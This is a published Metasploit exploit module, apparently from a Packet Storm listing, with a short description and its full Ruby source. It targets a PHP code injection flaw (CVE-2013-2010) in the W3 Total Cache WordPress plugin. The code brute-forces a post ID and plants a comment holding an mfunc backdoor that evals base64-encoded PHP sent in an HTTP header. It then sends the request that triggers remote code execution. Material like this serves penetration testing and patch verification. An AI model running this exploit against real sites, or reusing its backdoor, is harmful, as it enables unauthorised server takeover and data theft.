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WordPress W3 Total Cache PHP Code Execution

WordPress W3 Total Cache PHP Code Execution
Posted Mar 24, 2015
Authored by H D Moore, juan vazquez, temp66, Christian Mehlmauer | Site metasploit.com

This Metasploit module exploits a PHP Code Injection vulnerability against WordPress plugin W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older is also reported as vulnerable. The vulnerability is due to the handling of certain macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is needed in order to add the malicious comment. If the POSTID option isn't specified, then the module will automatically find or bruteforce one. Also, if anonymous comments aren't allowed, then a valid username and password must be provided. In addition, the "A comment is held for moderation" option on WordPress must be unchecked for successful exploitation. This Metasploit module has been tested against WordPress 3.5 and W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.

tags | exploit, arbitrary, php
systems | linux, ubuntu
advisories | CVE-2013-2010, OSVDB-92652
MD5 | be8ab3b5728c9890eeda2592ba90ef4e

WordPress W3 Total Cache PHP Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient

Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress W3 Total Cache PHP Code Execution',
'Description' => %q{
This module exploits a PHP Code Injection vulnerability against WordPress plugin
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically find or bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on WordPress must be unchecked for
successful exploitation. This module has been tested against WordPress 3.5 and
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez', # Metasploit module
'hdm', # Metasploit module
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2010' ],
[ 'OSVDB', '92652' ],
[ 'BID', '59316' ],
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],
[ 'WPVDB', '6622' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Wordpress 3.5', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 17 2013'
))

register_options(
[
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)

register_advanced_options(
[
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
])
end

def require_auth?
@user = datastore['USERNAME']
@password = datastore['PASSWORD']

if @user and @password and not @user.empty? and not @password.empty?
return true
else
return false
end
end

def post_comment(text)
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"

if @auth
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
else
author = rand_text_alpha(8)
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
author_url = rand_text_alpha(8)
uri = wordpress_post_comment_no_auth(php_payload,
@post_id,
author,
author_email,
author_url
)
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
end
uri
end

def exploit
unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
end

@auth = require_auth?

if @auth
print_status("#{peer} - Trying to login...")
@cookie = wordpress_login(@user, @password)
if @cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end
print_status("#{peer} - login successful")
else
print_status("#{peer} - Trying unauthenticated exploitation...")
end

if datastore['POSTID'] and datastore['POSTID'] != 0
@post_id = datastore['POSTID']
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else
print_status("#{peer} - Trying to get posts from feed...")
all_posts = wordpress_get_all_blog_posts_via_feed
# First try all blog posts provided by feed
if all_posts
all_posts.each do |p|
vprint_status("#{peer} - Checking #{p}...")
enabled = wordpress_post_comments_enabled?(p, @cookie)
@post_id = get_post_id_from_body(enabled)
if @post_id
print_status("#{peer} - Found Post POST ID #{@post_id}...")
break
end
end
end
# if nothing found, bruteforce a post id
unless @post_id
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
min_post_id = datastore['MIN_POST_ID']
max_post_id = datastore['MAX_POST_ID']
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
if @post_id.nil?
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
end
end
end

random_test = rand_text_alpha(64)
@sum = Rex::Text.sha1(random_test)

print_status("#{peer} - Injecting the PHP Code in a comment...")
text = Rex::Text::rand_text_alpha(10)
post_uri = post_comment(text)
if post_uri.nil?
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
end

print_status("#{peer} - Executing the payload...")
options = {
'method' => 'GET',
'uri' => post_uri,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded),
'Sum' => random_test
}
}
options.merge!({'cookie' => @cookie}) if @auth
# Used to see anonymous, moderated comments
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
res = send_request_cgi(options)
if res and res.code == 301
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
end

if res and !res.body.match(/#{Regexp.escape(text)}/)
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
end

end

def check
res = wordpress_and_online?
unless res
vprint_error("#{peer} does not seeem to be Wordpress site")
return Exploit::CheckCode::Unknown
end

if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
version = $1
if version <= "0.9.2.8"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe

end
end

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